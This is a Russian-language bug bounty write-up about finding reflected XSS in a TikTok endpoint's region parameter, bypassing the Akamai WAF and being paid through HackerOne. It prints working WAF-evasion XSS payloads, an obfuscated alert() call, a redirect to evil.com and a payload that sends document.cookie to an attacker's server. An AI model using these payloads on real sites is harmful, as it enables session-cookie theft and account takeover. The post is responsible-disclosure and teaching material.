Это была очередная обыкновенная ночь. Мой друг попросил меня зайти поиграть в Valorant — типичный вечерний ритуал. Но по какой-то причине я отказался. Вместо этого я запустил Burp Suite и начал искать баги (мое лучшее решение когда-либо, потому что в ту ночь я нашел три бага в TikTok, которые в итоге принесли мне $3,000).

Разведка

Мое путешествие началось с простой разведки. Я использовал urlscan.io, чтобы просканировать конечные точки, связанные с доменами TikTok. После недолгого ожидания у меня появился огромный список — примерно 10,000 URL.

Прокручивая его вручную (да, вручную), я заметил конечную точку с путём, который выглядел как функция совместного использования кампании. В URL было несколько параметров, что мгновенно вызвало мой интерес.

Я начал играть с параметром region. Чтобы протестировать отражение, я вставил эту безобидную полезную нагрузку:

?region=id'"><u>testest</u>

Угадайте что произошло?

Все отразилось без искажений. Никакой очистки. Никакой кодировки.

WAF вступает в игру — Akamai

Я подумал: "Хорошо... это может быть интересно." Я протестировал с классической нагрузкой:

"><img src=x>

Заблокировано Akamai (WAF TikTok). И не просто WAF... а один из лучших. Игра началась...

Попытки обойти защиту

Я начал изучать техники обхода Akamai WAF. Нашел несколько интересных статей об обфускации строк, чувствительности к регистру и тег evasion.

Несколько простых попыток:

</ScRiPt>      → blocked  

</SCRIPT>      → blocked  

</ScRpt>       → not blocked, but also invalid  

</Script+xxx>  → bypassed briefly, but eventually got filtered again

Я знал, что мне нужно что-то более креативное.

Эволюция полезной нагрузки

После нескольких неудачных попыток я придумал эту странно выглядящую, но эффективную строку:

}<x>xxx<!--><!>+>+></Script+xxx></script%20x></x><x>xxx<!--><!>+>+>

Она обошла фильтрацию — но alert(), confirm() и prompt() были заблокированы во время выполнения. Так что я решил действовать осторожно и сообщил об ошибке, используя open redirect payload, чтобы избежать возможных дубликатов.

Полная полезная нагрузка была довольно сложной и выглядела примерно так:

}<x>xxx<!--><!>+>+></Script+xxx><Script+xxx>Object.prototype.BOOMR = 1;

Object.prototype.url = 'https://portswigger-labs.net/xss/xss.js';

location.replace('https://evil.com');</script%20x></x><x>xxx<!--><!>+>+>

Через два дня я получил ответ от HackerOne Triage:

Создание реального XSS

Я вернулся к истокам. Поскольку прямой вызов alert() был заблокирован, я попытался обойти это, используя обфускацию:

window/*xxx*/ ;

Полная нагрузка:

<x>xxx<!--><!>+>+></Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<!--><!>+>+>

Это сработало. Я обновил свой PoC и отправил его снова.

Мне ответили:

Вызов принят...

Я перешел к краже куки с использованием моей финальной полезной нагрузки:

window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' + 'kie'];

Бум! XSS подтвержден. Позже, в этот же день, я получил награду в размере $1,000.

Бонусный раунд: Ещё два бага

После этой победы я продолжил исследовать другие конечные точки. В конце концов, я нашёл ещё две с идентичными уязвимостями.

Та же техника. Тот же XSS. Тот же приз: $1,000 за каждый.

? Финальный подсчёт

    Первый баг: $1,000

    Второй баг: $1,000

    Третий баг: $1,000

➡️ Всего: $3,000

Той ночью мне так и не удалось поиграть в Valorant.

Заключительные мысли для коллег-хакеров

Баг-баунти — это не только навыки, но и терпение, сбор информации, креативность и тайминг. Иногда отказ от приглашения поиграть может сделать вас богаче на несколько тысяч долларов ?

Всем охотникам: никогда не недооценивайте отраженные параметры. Самые простые ошибки могут привести к самым неожиданным наградам — если вы знаете, как правильно подготовить свои полезные нагрузки.

Продолжайте учиться, будьте в безопасности.

Счастливого хакерства.

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (0)